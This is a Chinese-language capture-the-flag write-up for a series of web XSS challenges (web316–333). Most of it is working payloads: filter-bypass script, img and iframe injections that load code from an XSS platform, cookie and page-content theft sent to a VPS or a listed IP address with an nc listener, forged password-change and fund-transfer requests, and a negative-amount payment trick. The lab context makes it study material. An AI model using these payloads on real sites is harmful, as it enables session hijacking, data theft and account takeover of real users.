文章目录
web316
利用xss平台里的代码进行攻击: https://xss.pt/xss.php
<sCRiPt sRC=//xss.pt/kUIB></sCrIpT>
web317——过滤了script
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/kUIB';>
web318——过滤了img
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/kUIB"></sCrIpT>>
web319——
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/kUIB"></sCrIpT>>
web320、321、322——过滤空格
可用tab绕过
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/kUIB"></sCrIpT>>
web323、325、326——
据说过滤了xss平台的payload…
通过onload事件在页面载入完成后立即触发代码。
用VPS接收,在VPS上开启监听nc -lvp port
,一段时间后bot会自动访问,然后就能获得flag:
<body/onload=document.location='http://VPS:port/cookie.php?cookie='+document.cookie;>
web327
存储型XSS
收件人要填admin,然后在输入框都填上payload(毕竟不知道哪个框生效),可以发送到XSS平台,也可用VPS接收。
web328
看见注册、登录这功能,猜测要获取admin的cookie然后进入用户管理界面。
直接在注册时写上payload
<script>window.open('http://VSP:Port'+document.cookie)</script>
盗取了admin的cookie后修改cookie即可
web329
群主设置了把cookie发送给你之前就让它失效了,盗用cookie行不通。
那就直接获取页面元素的内容,然后发送返回给我们。参考一下大佬们是怎么获取的:
feng师傅的方法:
<script>window.open('http://82.157.22.248:2333/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
通过document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML
获取到指定的内容,
getElementsByClassName:获取所有指定类名的元素
还有innerHTML和outerHTML的区别
1)innerHTML:
从对象的起始位置到终止位置的全部内容,不包括Html标签。
2)outerHTML:
除了包含innerHTML的全部内容外, 还包含对象标签本身。
web330
继续尝试获取密码,但得到的是*******,那么flag放在别的地方。注意到多了个修改密码的功能,估计是要修改密码了
预期解:修改密码,地址是127.0.0.1
<script>window.open("http://127.0.0.1/api/change.php?p=a")</script>
非预期:获取页面源码,用document.querySelector获取,获取的类是div.layui-container,
获取文档中 id=“demo” 的元素:
document.querySelector("#demo");
<script>window.open('http://82.157.22.248:2333/'+document.querySelector('#top > div.layui-container').textContent)</script>
web331
修改密码的方式变成了POST请求,可以尝试用JQuery来发送请求:
<script>$.post("http://api/change.php",{p:123123},"json");</script>
非预期还是获取页面信息:
<script>window.open('http://82.157.22.248:2333/'+document.querySelector('#top > div.layui-container').textContent)</script>
web332
支付逻辑漏洞,没有对用户输入进行过滤,假设我们输入负数,交易成功就会给自己加钱,负负得正嘛。
所以直接转账,金额是-9999即可
web333
利用admin账户给自己转账:
注意:注册的账号,其密码一定不少于6位,不然是买不到flag的
<script>$.post("http://127.0.0.1/api/amount.php",{'u':'ad' ,'a':10000},"json");</script>